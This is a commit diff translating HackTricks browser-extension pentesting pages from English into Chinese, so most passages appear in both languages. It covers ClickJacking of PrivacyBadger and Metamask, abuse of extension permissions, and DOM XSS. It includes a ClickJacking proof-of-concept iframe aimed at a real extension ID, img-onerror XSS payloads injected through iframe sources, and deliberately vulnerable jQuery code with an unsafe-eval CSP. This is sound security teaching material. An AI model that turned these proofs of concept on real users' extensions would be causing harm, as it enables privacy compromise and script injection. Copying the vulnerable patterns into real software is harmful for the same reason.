Translated ['src/pentesting-web/browser-extension-pentesting-methodology

This commit is contained in:
Translator 2025-01-02 13:34:41 +00:00
parent bbc21815ec
commit 412fc38bc0
337 changed files with 21160 additions and 25572 deletions

View File

@ -2,101 +2,96 @@
{{#include ../../banners/hacktricks-training.md}}
## Basic Information
## 基本信息
This page is going to abuse a ClickJacking vulnerability in a Browser extension.\
If you don't know what ClickJacking is check:
本页面将利用浏览器扩展中的ClickJacking漏洞。\
如果你不知道ClickJacking是什么请查看
{{#ref}}
../clickjacking.md
{{#endref}}
Extensions contains the file **`manifest.json`** and that JSON file has a field `web_accessible_resources`. Here's what [the Chrome docs](https://developer.chrome.com/extensions/manifest/web_accessible_resources) say about it:
扩展包含文件**`manifest.json`**该JSON文件有一个字段`web_accessible_resources`。以下是[Chrome文档](https://developer.chrome.com/extensions/manifest/web_accessible_resources)中对此的说明:
> These resources would then be available in a webpage via the URL **`chrome-extension://[PACKAGE ID]/[PATH]`**, which can be generated with the **`extension.getURL method`**. Allowlisted resources are served with appropriate CORS headers, so they're available via mechanisms like XHR.[1](https://blog.lizzie.io/clickjacking-privacy-badger.html#fn.1)
> 这些资源将通过URL **`chrome-extension://[PACKAGE ID]/[PATH]`** 在网页中可用该URL可以通过**`extension.getURL method`**生成。允许的资源会带有适当的CORS头因此可以通过XHR等机制访问。[1](https://blog.lizzie.io/clickjacking-privacy-badger.html#fn.1)
The **`web_accessible_resources`** in a browser extension are not just accessible via the web; they also operate with the extension's inherent privileges. This means they have the capability to:
浏览器扩展中的**`web_accessible_resources`**不仅可以通过网络访问;它们还具有扩展的固有权限。这意味着它们能够:
- Change the extension's state
- Load additional resources
- Interact with the browser to a certain extent
- 更改扩展的状态
- 加载额外的资源
- 在一定程度上与浏览器交互
However, this feature presents a security risk. If a resource within **`web_accessible_resources`** has any significant functionality, an attacker could potentially embed this resource into an external web page. Unsuspecting users visiting this page might inadvertently activate this embedded resource. Such activation could lead to unintended consequences, depending on the permissions and capabilities of the extension's resources.
然而,这一特性带来了安全风险。如果**`web_accessible_resources`**中的某个资源具有任何重要功能,攻击者可能会将该资源嵌入到外部网页中。毫无防备的用户访问此页面时,可能会无意中激活此嵌入的资源。这种激活可能导致意想不到的后果,具体取决于扩展资源的权限和能力。
## PrivacyBadger Example
In the extension PrivacyBadger, a vulnerability was identified related to the `skin/` directory being declared as `web_accessible_resources` in the following manner (Check the original [blog post](https://blog.lizzie.io/clickjacking-privacy-badger.html)):
## PrivacyBadger 示例
在扩展PrivacyBadger中发现了一个与`skin/`目录被声明为`web_accessible_resources`相关的漏洞,具体如下(查看原始[博客文章](https://blog.lizzie.io/clickjacking-privacy-badger.html)
```json
"web_accessible_resources": [
"skin/*",
"icons/*"
"skin/*",
"icons/*"
]
```
此配置导致了潜在的安全问题。具体来说,`skin/popup.html` 文件在与浏览器中的 PrivacyBadger 图标交互时被渲染,可以嵌入在 `iframe` 中。这种嵌入可能被利用来欺骗用户无意中点击“为此网站禁用 PrivacyBadger”。这样的行为将通过禁用 PrivacyBadger 保护来危害用户的隐私,并可能使用户面临更高的跟踪风险。此漏洞的视觉演示可以在提供的 ClickJacking 视频示例中查看,链接为 [**https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm**](https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm)。
This configuration led to a potential security issue. Specifically, the `skin/popup.html` file, which is rendered upon interaction with the PrivacyBadger icon in the browser, could be embedded within an `iframe`. This embedding could be exploited to deceive users into inadvertently clicking on "Disable PrivacyBadger for this Website". Such an action would compromise the user's privacy by disabling the PrivacyBadger protection and potentially subjecting the user to increased tracking. A visual demonstration of this exploit can be viewed in a ClickJacking video example provided at [**https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm**](https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm).
为了解决此漏洞,实施了一个简单的解决方案:从 `web_accessible_resources` 列表中移除 `/skin/*`。此更改有效地降低了风险,确保 `skin/` 目录的内容无法通过网络可访问资源进行访问或操作。
To address this vulnerability, a straightforward solution was implemented: the removal of `/skin/*` from the list of `web_accessible_resources`. This change effectively mitigated the risk by ensuring that the content of the `skin/` directory could not be accessed or manipulated through web-accessible resources.
The fix was easy: **remove `/skin/*` from the `web_accessible_resources`**.
修复很简单:**从 `web_accessible_resources` 中移除 `/skin/*`**。
### PoC
```html
<!--https://blog.lizzie.io/clickjacking-privacy-badger.html-->
<style>
iframe {
width: 430px;
height: 300px;
opacity: 0.01;
float: top;
position: absolute;
}
iframe {
width: 430px;
height: 300px;
opacity: 0.01;
float: top;
position: absolute;
}
#stuff {
float: top;
position: absolute;
}
#stuff {
float: top;
position: absolute;
}
button {
float: top;
position: absolute;
top: 168px;
left: 100px;
}
button {
float: top;
position: absolute;
top: 168px;
left: 100px;
}
</style>
<div id="stuff">
<h1>Click the button</h1>
<button id="button">click me</button>
<h1>Click the button</h1>
<button id="button">click me</button>
</div>
<iframe
src="chrome-extension://ablpimhddhnaldgkfbpafchflffallca/skin/popup.html">
src="chrome-extension://ablpimhddhnaldgkfbpafchflffallca/skin/popup.html">
</iframe>
```
## Metamask 示例
## Metamask Example
A [**blog post about a ClickJacking in metamask can be found here**](https://slowmist.medium.com/metamask-clickjacking-vulnerability-analysis-f3e7c22ff4d9). In this case, Metamask fixed the vulnerability by checking that the protocol used to access it was **`https:`** or **`http:`** (not **`chrome:`** for example):
一个关于 Metamask 中 ClickJacking 的[**博客文章可以在这里找到**](https://slowmist.medium.com/metamask-clickjacking-vulnerability-analysis-f3e7c22ff4d9)。在这种情况下Metamask 通过检查访问所使用的协议是否为 **`https:`** 或 **`http:`**(例如不是 **`chrome:`**)来修复漏洞:
<figure><img src="../../images/image (21).png" alt=""><figcaption></figcaption></figure>
**Another ClickJacking fixed** in the Metamask extension was that users were able to **Click to whitelist** when a page was suspicious of being phishing because of `“web_accessible_resources”: [“inpage.js”, “phishing.html”]`. As that page was vulnerable to Clickjacking, an attacker could abuse it showing something normal to make the victim click to whitelist it without noticing, and then going back to the phishing page which will be whitelisted.
**另一个在 Metamask 扩展中修复的 ClickJacking** 是用户能够在页面被怀疑为钓鱼时 **点击以列入白名单**,因为 `“web_accessible_resources”: [“inpage.js”, “phishing.html”]`。由于该页面易受 Clickjacking 攻击,攻击者可以利用它显示一些正常的内容,使受害者在未注意的情况下点击以列入白名单,然后再返回到将被列入白名单的钓鱼页面。
## Steam Inventory Helper Example
## Steam Inventory Helper 示例
Check the following page to check how a **XSS** in a browser extension was chained with a **ClickJacking** vulnerability:
查看以下页面以检查如何将浏览器扩展中的 **XSS****ClickJacking** 漏洞链式结合:
{{#ref}}
browext-xss-example.md
{{#endref}}
## References
## 参考文献
- [https://blog.lizzie.io/clickjacking-privacy-badger.html](https://blog.lizzie.io/clickjacking-privacy-badger.html)
- [https://slowmist.medium.com/metamask-clickjacking-vulnerability-analysis-f3e7c22ff4d9](https://slowmist.medium.com/metamask-clickjacking-vulnerability-analysis-f3e7c22ff4d9)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -2,113 +2,110 @@
{{#include ../../banners/hacktricks-training.md}}
## Basic Information
## 基本信息
### **`permissions`**
Permissions are defined in the extension's **`manifest.json`** file using the **`permissions`** property and allow access to almost anything a browser can access (Cookies or Physical Storage):
权限在扩展的 **`manifest.json`** 文件中使用 **`permissions`** 属性定义允许访问浏览器可以访问的几乎所有内容Cookies 或物理存储):
The previous manifest declares that the extension requires the `storage` permission. This means that it can use [the storage API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/storage) to store its data persistently. Unlike cookies or `localStorage` APIs which give users some level of control, **extension storage can normally only be cleared by uninstalling the extension**.
前面的清单声明该扩展需要 `storage` 权限。这意味着它可以使用 [存储 API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/storage) 持久地存储其数据。与给用户某种控制级别的 cookies 或 `localStorage` API 不同,**扩展存储通常只能通过卸载扩展来清除**。
An extension will request the permissions indicated in its **`manifest.json`** file and After installing the extension, you can **always check its permissions in your browser**, as shown in this image:
扩展将请求其 **`manifest.json`** 文件中指示的权限。安装扩展后,您可以 **始终在浏览器中检查其权限**,如图所示:
<figure><img src="../../images/image (18).png" alt=""><figcaption></figcaption></figure>
You can find the [**complete list of permissions a Chromium Browser Extension can request here**](https://developer.chrome.com/docs/extensions/develop/concepts/declare-permissions#permissions) and a [**complete list for Firefox extensions here**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions#api_permissions)**.**
您可以在这里找到 [**Chromium 浏览器扩展可以请求的完整权限列表**](https://developer.chrome.com/docs/extensions/develop/concepts/declare-permissions#permissions) 和 [**Firefox 扩展的完整列表在这里**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions#api_permissions)****
### `host_permissions`
The optional but powerful setting **`host_permissions`** indicates with which hosts the extension is going to be able to interact via apis such as [`cookies`](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/cookies), [`webRequest`](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/webRequest), and [`tabs`](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs).
The following `host_permissions` basically allow every web:
可选但强大的设置 **`host_permissions`** 指示扩展将能够通过 [`cookies`](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/cookies)、[`webRequest`](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/webRequest) 和 [`tabs`](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs) 等 API 与哪些主机进行交互。
以下 `host_permissions` 基本上允许每个网站:
```json
"host_permissions": [
"*://*/*"
"*://*/*"
]
// Or:
"host_permissions": [
"http://*/*",
"https://*/*"
"http://*/*",
"https://*/*"
]
// Or:
"host_permissions": [
"<all_urls>"
"<all_urls>"
]
```
这些是浏览器扩展可以自由访问的主机。这是因为当浏览器扩展调用 **`fetch("https://gmail.com/")`** 时,它不受 CORS 的限制。
These are the hosts that the browser extension can access freely. This is because when a browser extension calls **`fetch("https://gmail.com/")`** it's not restricted by CORS.
## 滥用 `permissions``host_permissions`
## Abusing `permissions` and `host_permissions`
### 标签
### Tabs
Moreover, **`host_permissions`** also unlock “advanced” [**tabs API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs) **functionality.** They allow the extension to call [tabs.query()](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/query) and not only get a **list of users browser tabs** back but also learn which **web page (meaning address and title) is loaded**.
此外,**`host_permissions`** 还解锁了“高级” [**tabs API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs) **功能。** 它们允许扩展调用 [tabs.query()](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/query),不仅可以获取 **用户的浏览器标签列表**,还可以了解哪个 **网页(即地址和标题)被加载**
> [!CAUTION]
> Not only that, listeners like [**tabs.onUpdated**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/onUpdated) **become way more useful as well**. These will be notified whenever a new page loads into a tab.
> 不仅如此,像 [**tabs.onUpdated**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/onUpdated) **这样的监听器也变得更加有用。** 每当新页面加载到标签中时,它们将收到通知。
### Running content scripts <a href="#running-content-scripts" id="running-content-scripts"></a>
### 运行内容脚本 <a href="#running-content-scripts" id="running-content-scripts"></a>
Content scripts arent necessarily written statically into the extension manifest. Given sufficient **`host_permissions`**, **extensions can also load them dynamically by calling** [**tabs.executeScript()**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/executeScript) **or** [**scripting.executeScript()**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/scripting/executeScript).
内容脚本不一定是静态写入扩展清单中的。只要有足够的 **`host_permissions`****扩展也可以通过调用** [**tabs.executeScript()**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/executeScript) **** [**scripting.executeScript()**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/scripting/executeScript) **动态加载它们。**
Both APIs allow executing not merely files contained in the extensions as content scripts but also **arbitrary cod**e. The former allows passing in JavaScript code as a string while the latter expects a JavaScript function which is less prone to injection vulnerabilities. Still, both APIs will wreak havoc if misused.
这两个 API 允许执行不仅仅是包含在扩展中的文件作为内容脚本,还可以执行 **任意代码**。前者允许将 JavaScript 代码作为字符串传入,而后者期望一个 JavaScript 函数,这样更不容易受到注入漏洞的影响。不过,如果滥用这两个 API都会造成严重后果。
> [!CAUTION]
> In addition to the capabilities above, content scripts could for example **intercept credentials** as these are entered into web pages. Another classic way to abuse them is **injecting advertising** on each an every website. Adding **scam messages** to abuse credibility of news websites is also possible. Finally, they could **manipulate banking** websites to reroute money transfers.
> 除了上述功能外,内容脚本还可以例如 **拦截凭据**,当这些凭据被输入到网页时。滥用它们的另一种经典方式是 **在每个网站上注入广告**。添加 **诈骗信息** 以滥用新闻网站的可信度也是可能的。最后,它们可以 **操纵银行** 网站以重新路由资金转移。
### Implicit privileges <a href="#implicit-privileges" id="implicit-privileges"></a>
### 隐式权限 <a href="#implicit-privileges" id="implicit-privileges"></a>
Some extension privileges **dont have to be explicitly declared**. One example is the [tabs API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs): its basic functionality is accessible without any privileges whatsoever. Any extension can be notified when you open and close tabs, it merely wont know which website these tabs correspond with.
某些扩展权限 **不必明确声明**。一个例子是 [tabs API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs):其基本功能在没有任何权限的情况下也可以访问。任何扩展都可以在您打开和关闭标签时收到通知,只是它不会知道这些标签对应哪个网站。
Sounds too harmless? The [tabs.create() API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/create) is somewhat less so. It can be used to **create a new tab**, essentially the same as [window.open()](https://developer.mozilla.org/en-US/docs/Web/API/Window/open) which can be called by any website. Yet while `window.open()` is subject to the **pop-up blocker, `tabs.create()` isnt**.
听起来太无害了?[tabs.create() API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/create) 就不那么无害了。它可以用来 **创建一个新标签**,本质上与任何网站都可以调用的 [window.open()](https://developer.mozilla.org/en-US/docs/Web/API/Window/open) 相同。然而,虽然 `window.open()`**弹出窗口拦截器** 的限制,但 `tabs.create()` 不受此限制。
> [!CAUTION]
> An extension can create any number of tabs whenever it wants.
> 扩展可以在任何时候创建任意数量的标签。
If you look through possible `tabs.create()` parameters, youll also notice that its capabilities go way beyond what `window.open()` is allowed to control. And while Firefox doesnt allow `data:` URIs to be used with this API, Chrome has no such protection. **Use of such URIs on the top level has been** [**banned due to being abused for phishing**](https://bugzilla.mozilla.org/show_bug.cgi?id=1331351)**.**
如果您查看可能的 `tabs.create()` 参数,您还会注意到它的功能远远超出了 `window.open()` 被允许控制的范围。虽然 Firefox 不允许在此 API 中使用 `data:` URI但 Chrome 没有这样的保护。**在顶层使用此类 URI 已被** [**禁止,因为被滥用于网络钓鱼**](https://bugzilla.mozilla.org/show_bug.cgi?id=1331351)**。**
[**tabs.update()**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/update) is very similar to `tabs.create()` but will **modify an existing tab**. So a malicious extension can for example arbitrarily load an advertising page into one of your tabs, and it can activate the corresponding tab as well.
[**tabs.update()**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/update) `tabs.create()` 非常相似,但会 **修改现有标签**。因此,恶意扩展可以例如任意加载一个广告页面到您的一个标签中,并且它可以激活相应的标签。
### Webcam, geolocation and friends <a href="#webcam-geolocation-and-friends" id="webcam-geolocation-and-friends"></a>
### 网络摄像头、地理位置等 <a href="#webcam-geolocation-and-friends" id="webcam-geolocation-and-friends"></a>
You probably know that websites can request special permissions, e.g. in order to access your webcam (video conferencing tools) or geographical location (maps). Its features with considerable potential for abuse, so users each time have to confirm that they still want this.
您可能知道,网站可以请求特殊权限,例如访问您的网络摄像头(视频会议工具)或地理位置(地图)。这是具有相当滥用潜力的功能,因此用户每次都必须确认他们仍然希望这样做。
> [!CAUTION]
> Not so with browser extensions. **If a browser extension** [**wants access to your webcam or microphone**](https://developer.mozilla.org/en-US/docs/Web/API/MediaDevices/getUserMedia)**, it only needs to ask for permission once**
> 浏览器扩展则不是。**如果浏览器扩展** [**想要访问您的网络摄像头或麦克风**](https://developer.mozilla.org/en-US/docs/Web/API/MediaDevices/getUserMedia)**,它只需请求一次权限**
Typically, an extension will do so immediately after being installed. Once this prompt is accepted, **webcam access is possible at any time**, even if the user isnt interacting with the extension at this point. Yes, a user will only accept this prompt if the extension really needs webcam access. But after that they have to trust the extension not to record anything secretly.
通常,扩展会在安装后立即这样做。一旦接受了此提示,**网络摄像头访问在任何时候都是可能的**,即使用户此时没有与扩展交互。是的,用户只有在扩展确实需要网络摄像头访问时才会接受此提示。但在那之后,他们必须信任扩展不会秘密录制任何内容。
With access to [your exact geographical location](https://developer.mozilla.org/en-US/docs/Web/API/Geolocation) or [contents of your clipboard](https://developer.mozilla.org/en-US/docs/Web/API/Clipboard_API), granting permission explicitly is unnecessary altogether. **An extension simply adds `geolocation` or `clipboard` to the** [**permissions entry**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions) **of its manifest**. These access privileges are then granted implicitly when the extension is installed. So a malicious or compromised extension with these privileges can create your movement profile or monitor your clipboard for copied passwords without you noticing anything.
通过访问 [您的确切地理位置](https://developer.mozilla.org/en-US/docs/Web/API/Geolocation) 或 [剪贴板内容](https://developer.mozilla.org/en-US/docs/Web/API/Clipboard_API),显式授予权限根本不必要。**扩展只需将 `geolocation``clipboard` 添加到其** [**权限条目**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions) **中。** 这些访问权限在扩展安装时隐式授予。因此,具有这些权限的恶意或被攻陷的扩展可以在您未注意到的情况下创建您的移动档案或监控您剪贴板中复制的密码。
Adding the **`history`** keyword to the [permissions entry](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions) of the extension manifest grants **access to the** [**history API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/history). It allows retrieving the users entire browsing history all at once, without waiting for the user to visit these websites again.
**`history`** 关键字添加到扩展清单的 [权限条目](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions) 中授予 **访问** [**history API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/history) 的权限。它允许一次性检索用户的整个浏览历史,而无需等待用户再次访问这些网站。
The **`bookmarks`** **permission** has similar abuse potential, this one allows **reading out all bookmarks via the** [**bookmarks API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/bookmarks).
**`bookmarks`** **权限** 具有类似的滥用潜力,它允许 **通过** [**bookmarks API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/bookmarks) **读取所有书签。**
### Storage permission <a href="#the-storage-permission" id="the-storage-permission"></a>
### 存储权限 <a href="#the-storage-permission" id="the-storage-permission"></a>
The extension storage is merely a key-value collection, very similar to [localStorage](https://developer.mozilla.org/en-US/docs/Web/API/Window/localStorage) that any website could use. So no sensitive information should be stored here.
扩展存储仅仅是一个键值集合,非常类似于任何网站都可以使用的 [localStorage](https://developer.mozilla.org/en-US/docs/Web/API/Window/localStorage)。因此,不应在此处存储敏感信息。
However, advertising companies could also abuse this storage.
然而,广告公司也可能滥用此存储。
### More permissions
### 更多权限
You can find the [**complete list of permissions a Chromium Browser Extension can request here**](https://developer.chrome.com/docs/extensions/develop/concepts/declare-permissions#permissions) and a [**complete list for Firefox extensions here**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions#api_permissions)**.**
您可以在 [**这里找到 Chromium 浏览器扩展可以请求的完整权限列表**](https://developer.chrome.com/docs/extensions/develop/concepts/declare-permissions#permissions),以及 [**Firefox 扩展的完整列表在这里**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions#api_permissions)****
## Prevention <a href="#why-not-restrict-extension-privileges" id="why-not-restrict-extension-privileges"></a>
## 预防 <a href="#why-not-restrict-extension-privileges" id="why-not-restrict-extension-privileges"></a>
The policy of Google's developer explicitly forbids extensions from requesting more privileges than necessary for their functionality, effectively mitigating excessive permission requests. An instance where a browser extension overstepped this boundary involved its distribution with the browser itself rather than through an add-on store.
谷歌开发者的政策明确禁止扩展请求超出其功能所需的权限,从而有效减轻过度权限请求的情况。一个浏览器扩展超越这一界限的实例涉及其与浏览器本身一起分发,而不是通过附加组件商店。
Browsers could further curb the misuse of extension privileges. For instance, Chrome's [tabCapture](https://developer.chrome.com/docs/extensions/reference/tabCapture/) and [desktopCapture](https://developer.chrome.com/docs/extensions/reference/desktopCapture/) APIs, used for screen recording, are designed to minimize abuse. The tabCapture API can only be activated through direct user interaction, such as clicking on the extension icon, while desktopCapture requires user confirmation for the window to be recorded, preventing clandestine recording activities.
浏览器还可以进一步遏制扩展权限的滥用。例如Chrome 的 [tabCapture](https://developer.chrome.com/docs/extensions/reference/tabCapture/) 和 [desktopCapture](https://developer.chrome.com/docs/extensions/reference/desktopCapture/) API用于屏幕录制旨在最小化滥用。tabCapture API 只能通过直接用户交互激活,例如点击扩展图标,而 desktopCapture 需要用户确认要录制的窗口,从而防止秘密录制活动。
However, tightening security measures often results in decreased flexibility and user-friendliness of extensions. The [activeTab permission](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions#activetab_permission) illustrates this trade-off. It was introduced to eliminate the need for extensions to request host privileges across the entire internet, allowing extensions to access only the current tab upon explicit activation by the user. This model is effective for extensions requiring user-initiated actions but falls short for those requiring automatic or pre-emptive actions, thereby compromising convenience and immediate responsiveness.
然而,收紧安全措施往往会导致扩展的灵活性和用户友好性降低。[activeTab 权限](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions#activetab_permission) 说明了这种权衡。它的引入消除了扩展请求整个互联网的主机权限的需要,允许扩展在用户明确激活时仅访问当前标签。该模型对于需要用户主动操作的扩展有效,但对于需要自动或预先操作的扩展则显得不足,从而妨碍了便利性和即时响应。
## **References**
## **参考文献**
- [https://palant.info/2022/08/17/impact-of-extension-privileges/](https://palant.info/2022/08/17/impact-of-extension-privileges/)
- [https://www.cobalt.io/blog/introduction-to-chrome-browser-extension-security-testing](https://www.cobalt.io/blog/introduction-to-chrome-browser-extension-security-testing)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,114 +1,100 @@
# BrowExt - XSS Example
# BrowExt - XSS 示例
{{#include ../../banners/hacktricks-training.md}}
## Cross-Site Scripting (XSS) through Iframe
In this setup, a **content script** is implemented to instantiate an Iframe, incorporating a URL with query parameters as the source of the Iframe:
## 通过 Iframe 的跨站脚本攻击 (XSS)
在此设置中,实施了一个 **内容脚本** 来实例化一个 Iframe将带有查询参数的 URL 作为 Iframe 的源:
```javascript
chrome.storage.local.get("message", (result) => {
let constructedURL =
chrome.runtime.getURL("message.html") +
"?content=" +
encodeURIComponent(result.message) +
"&redirect=https://example.net/details"
frame.src = constructedURL
let constructedURL =
chrome.runtime.getURL("message.html") +
"?content=" +
encodeURIComponent(result.message) +
"&redirect=https://example.net/details"
frame.src = constructedURL
})
```
A publicly accessible HTML page, **`message.html`**, is designed to dynamically add content to the document body based on the parameters in the URL:
一个公开可访问的 HTML 页面,**`message.html`**,旨在根据 URL 中的参数动态添加内容到文档主体:
```javascript
$(document).ready(() => {
let urlParams = new URLSearchParams(window.location.search)
let userContent = urlParams.get("content")
$(document.body).html(
`${userContent} <button id='detailBtn'>Details</button>`
)
$("#detailBtn").on("click", () => {
let destinationURL = urlParams.get("redirect")
chrome.tabs.create({ url: destinationURL })
})
let urlParams = new URLSearchParams(window.location.search)
let userContent = urlParams.get("content")
$(document.body).html(
`${userContent} <button id='detailBtn'>Details</button>`
)
$("#detailBtn").on("click", () => {
let destinationURL = urlParams.get("redirect")
chrome.tabs.create({ url: destinationURL })
})
})
```
A malicious script is executed on an adversary's page, modifying the `content` parameter of the Iframe's source to introduce a **XSS payload**. This is achieved by updating the Iframe's source to include a harmful script:
在对手的页面上执行恶意脚本,修改 Iframe 源的 `content` 参数以引入 **XSS payload**。通过更新 Iframe 的源以包含有害脚本来实现这一点:
```javascript
setTimeout(() => {
let targetFrame = document.querySelector("iframe").src
let baseURL = targetFrame.split("?")[0]
let xssPayload = "<img src='invalid' onerror='alert(\"XSS\")'>"
let maliciousURL = `${baseURL}?content=${encodeURIComponent(xssPayload)}`
let targetFrame = document.querySelector("iframe").src
let baseURL = targetFrame.split("?")[0]
let xssPayload = "<img src='invalid' onerror='alert(\"XSS\")'>"
let maliciousURL = `${baseURL}?content=${encodeURIComponent(xssPayload)}`
document.querySelector("iframe").src = maliciousURL
document.querySelector("iframe").src = maliciousURL
}, 1000)
```
An overly permissive Content Security Policy such as:
过于宽松的内容安全策略,例如:
```json
"content_security_policy": "script-src 'self' 'unsafe-eval'; object-src 'self';"
```
允许执行JavaScript使系统容易受到XSS攻击。
allows the execution of JavaScript, making the system vulnerable to XSS attacks.
An alternative approach to provoke the XSS involves creating an Iframe element and setting its source to include the harmful script as the `content` parameter:
引发XSS的另一种方法是创建一个Iframe元素并将其源设置为包含有害脚本作为`content`参数:
```javascript
let newFrame = document.createElement("iframe")
newFrame.src =
"chrome-extension://abcdefghijklmnopabcdefghijklmnop/message.html?content=" +
encodeURIComponent("<img src='x' onerror='alert(\"XSS\")'>")
"chrome-extension://abcdefghijklmnopabcdefghijklmnop/message.html?content=" +
encodeURIComponent("<img src='x' onerror='alert(\"XSS\")'>")
document.body.append(newFrame)
```
## DOM-based XSS + ClickJacking
This example was taken from the [original post writeup](https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/).
The core issue arises from a DOM-based Cross-site Scripting (XSS) vulnerability located in **`/html/bookmarks.html`**. The problematic JavaScript, part of **`bookmarks.js`**, is detailed below:
这个例子取自于 [original post writeup](https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/)。
核心问题源于位于 **`/html/bookmarks.html`** 的基于DOM的跨站脚本XSS漏洞。以下是有问题的JavaScript属于 **`bookmarks.js`**
```javascript
$("#btAdd").on("click", function () {
var bookmarkName = $("#txtName").val()
if (
$(".custom-button .label").filter(function () {
return $(this).text() === bookmarkName
}).length
)
return false
var bookmarkName = $("#txtName").val()
if (
$(".custom-button .label").filter(function () {
return $(this).text() === bookmarkName
}).length
)
return false
var bookmarkItem = $('<div class="custom-button">')
bookmarkItem.html('<span class="label">' + bookmarkName + "</span>")
bookmarkItem.append('<button class="remove-btn" title="delete">x</button>')
bookmarkItem.attr("data-title", bookmarkName)
bookmarkItem.data("timestamp", new Date().getTime())
$("section.bookmark-container .existing-items").append(bookmarkItem)
persistData()
var bookmarkItem = $('<div class="custom-button">')
bookmarkItem.html('<span class="label">' + bookmarkName + "</span>")
bookmarkItem.append('<button class="remove-btn" title="delete">x</button>')
bookmarkItem.attr("data-title", bookmarkName)
bookmarkItem.data("timestamp", new Date().getTime())
$("section.bookmark-container .existing-items").append(bookmarkItem)
persistData()
})
```
该代码片段从 **`txtName`** 输入字段获取 **值**,并使用 **字符串连接生成 HTML**,然后通过 jQuery 的 `.append()` 函数将其附加到 DOM。
This snippet fetches the **value** from the **`txtName`** input field and uses **string concatenation to generate HTML**, which is then appended to the DOM using jQuerys `.append()` function.
通常Chrome 扩展的内容安全策略 (CSP) 会防止此类漏洞。然而,由于 **CSP 放宽了 unsafe-eval** 和使用 jQuery 的 DOM 操作方法(这些方法使用 [`globalEval()`](https://api.jquery.com/jquery.globaleval/) 将脚本传递给 [`eval()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval) 在 DOM 插入时),仍然可以进行利用。
Typically, the Chrome extension's Content Security Policy (CSP) would prevent such vulnerabilities. However, due to **CSP relaxation with unsafe-eval** and the use of jQuerys DOM manipulation methods (which employ [`globalEval()`](https://api.jquery.com/jquery.globaleval/) to pass scripts to [`eval()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval) upon DOM insertion), exploitation is still possible.
While this vulnerability is significant, its exploitation is usually contingent on user interaction: visiting the page, entering an XSS payload, and activating the “Add” button.
To enhance this vulnerability, a secondary **clickjacking** vulnerability is exploited. The Chrome extension's manifest showcases an extensive `web_accessible_resources` policy:
虽然这个漏洞很重要,但其利用通常依赖于用户交互:访问页面、输入 XSS 负载并激活“添加”按钮。
为了增强这个漏洞,利用了一个次要的 **clickjacking** 漏洞。Chrome 扩展的清单展示了一个广泛的 `web_accessible_resources` 策略:
```json
"web_accessible_resources": [
"html/bookmarks.html",
"dist/*",
"assets/*",
"font/*",
[...]
"html/bookmarks.html",
"dist/*",
"assets/*",
"font/*",
[...]
],
```
Notably, the **`/html/bookmarks.html`** page is prone to framing, thus vulnerable to **clickjacking**. This vulnerability is leveraged to frame the page within an attackers site, overlaying it with DOM elements to redesign the interface deceptively. This manipulation leads victims to interact with the underlying extension unintentionally.
